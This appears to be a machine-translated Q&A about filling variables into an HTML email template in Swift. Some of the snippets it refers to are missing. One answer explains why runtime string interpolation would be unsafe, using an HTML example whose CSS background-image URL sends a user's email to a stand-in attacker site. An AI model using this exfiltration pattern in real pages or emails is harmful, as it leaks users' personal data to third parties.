如何使用变量更改 HTML 文件的内容?

How to change content of HTML file with variables?

我有HTML。 HTML 文件包含几个这样的文本:\(something)。这个HTML我转成String了。但是,当我将其作为 html 正文(或 Web 视图)放入邮件时,显示的不是我的数据,而是这些 \(something)。有人知道如何处理这个问题吗?

我知道 html 不是 swift 但是当我将其转换为字符串时它应该表现得像 swift 字符串,不是吗?谢谢

为了更好地理解检查屏幕截图。

我的 html 文件中的一段代码:

OSX 邮件应用程序:

我遇到了同样的问题并使用了 stringByReplacingOccurrencesOfString。请参阅下面的示例代码:

您可以通过调用 NSBundle

获取 html 文件的内容
let filePath = NSBundle.mainBundle().pathForResource("emailTemplate", ofType: "html")
let contentData = NSFileManager.defaultManager().contentsAtPath(filePath!)
let emailTemplate = NSString(data: contentData!, encoding: NSUTF8StringEncoding) as? String

在你的 html file 中,你用一个唯一的目标替换你想要变量的位置,例如 @%,只要它是唯一的,那是什么并不重要多变的。假设您的 html 文件如下所示:

然后将字符串替换为目标:

let replacedHtmlContent = emailTemplate?.stringByReplacingOccurrencesOfString("@%", withString: "Name")

您的新 html 内容将是:

希望对您有所帮助,祝您好运!

编译器处理字符串插值工作的基础;因此,当您在运行时向它传递该字符串时,它(谢天谢地)不会评估它以寻找要填充的变量。

如果是这样,有人可以通过数据文件将任意代码传递到您的程序中,并且会对其进行评估,因为

“String interpolation is a way to construct a new String value from a mix of constants, variables, literals, and expressions by including their values inside a string literal.” (emphasis added)

摘自:Apple Inc.“Swift 编程语言 (Swift 5.0)。”苹果图书。 https://books.apple.com/us/book/the-swift-programming-language-swift-5-0/id881256329

因此在运行时评估字符串并填充执行范围内的变量将允许攻击者使用类似

的方式泄露数据
<html>
    <body></body>
    <style>body{ background-image: url("http://bad-guys-website/?stolen_email=\(userEmailVariableInSwiftCodeFromApp)");}</style>
</html>